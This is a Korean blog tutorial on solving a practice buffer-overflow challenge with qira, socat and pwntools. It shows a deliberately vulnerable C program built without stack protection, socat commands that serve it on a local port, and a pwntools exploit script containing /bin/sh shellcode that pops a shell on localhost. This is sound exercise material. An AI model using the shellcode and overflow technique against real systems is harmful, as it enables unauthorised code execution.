본문 바로가기

트렌드를 따라가보자! - qira, pwntools, socat 을 사용한 문제 분석 및 익스플로잇

《트렌드를 따라가보자!

qira, pwntools, socat 을 사용한 문제 분석 및 익스플로잇




목차

1. 개요

2. 문제 분석

3. qira를 이용한 디버깅

4. socat을 사용 해 보자!

5. pwntools를 이용한 exploit




개요


  사실 해킹캠프때 qira, socat, pwntools를 사용한 디버깅? 익스플로잇에 대해 들어 보긴 하였지만 쓸데 없는거라 생각해서 아직까지 시도를 해보지 않고 있던 찰나에, 최근 익스플로잇을 짜고, 문제를 분석하고 하는데에 지루함을 많이 느껴서 색다른 변화를 주고 싶어 사용법을 익히고 정리를 하게 되었습니다. 이 툴들이 보면 볼수록 물건이라 ㅡ,,ㅡ... 확실히 대회같은 때에 시간을 절약하기 쉽겠더라고요.



문제 분석


  그럼 먼저 문제 소스를 보여 드리겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
 
//gcc -o testpwn testpwn.c -w -m32 -z execstack -fno-stack-protector -mpreferred-stack-boundary=2
 
void printit() {
  printf("Hello there!\n");
}
 
main()
int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  call();
}
cs

Simple Buffer Overflow죠? 간단히 fgets에서 오버플로우 해서 call 함수 포인터를 덮으면 될 것 같습니다.



qira를 이용한 디버깅


# qira ./testpwn

위 명령어를 실행 시켜서 qira 디버거에 바이너리를 올립니다.

그리고 해당 ip로 접속을 하게 되면


다음과 같이 디버깅 창이 뙇!

그리고 키보드 방향키 위아래로 인스트럭션을 넘깁니다!

쭉 쭉 가서 main 함수에 진입 해봐요

요로케 메인 함수에 진입 했습니다.

이제 디버깅을 더 진행 해 볼까요?

fgets로 stdin에서 데이터를 받고 스택에 저장을 다음과 같이 합니다.

이제 오버플로우를 시켜 보도록 하겠습니다.


오버플로우 전


오버플로우 후

그리고 call eax를 하게 되면...?!



짠! eip가 변조되고 성공적으로 흐름을 컨트롤 할 수 있게 되었어요!



socat을 사용 해 보자!


  우선 socat을 이용해서 해당 명령어를 실행 합니다.


socat TCP-LISTEN:10000,reuseaddr,fork EXEC:./testpwn


그렇게 되면 10000번 포트에 testpwn 바이너리가 올라가게 되요!

nc localhost 10000을 통해 연결을 하여서 실제 문제가 로드 되어 있는 리모트 환경을 쉽게 구축 할 수 있어요!


# socat TCP-LISTEN:10000,reuseaddr,fork EXEC:'qira ./testpwn'

# qira -s ./testpwn


다음과 같이 qira와 socat을 연동 시킬 수도 있고요!



pwntools를 이용한 exploit


  이제 exploit을 해 볼 차례에요!

pwntools의 상세한 설명은 http://docs.pwntools.com/en/stable/intro.html 요기서 보시면 됩니다!

여기서는 단순히 제가 사용한 기능들만 보여 드리도록 할거에요


참고로 RTL로 풀어야 되는데 귀찮아서 쉘코드 올려서 풀었슴다~




1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python
 
from pwn import *
 
#sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
sc = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
ret = p32(0xf6fff600)
 
conn = remote('localhost',4000)
conn.sendline("A"*20+ret+sc)
 
conn.interactive()
 
conn.close()
cs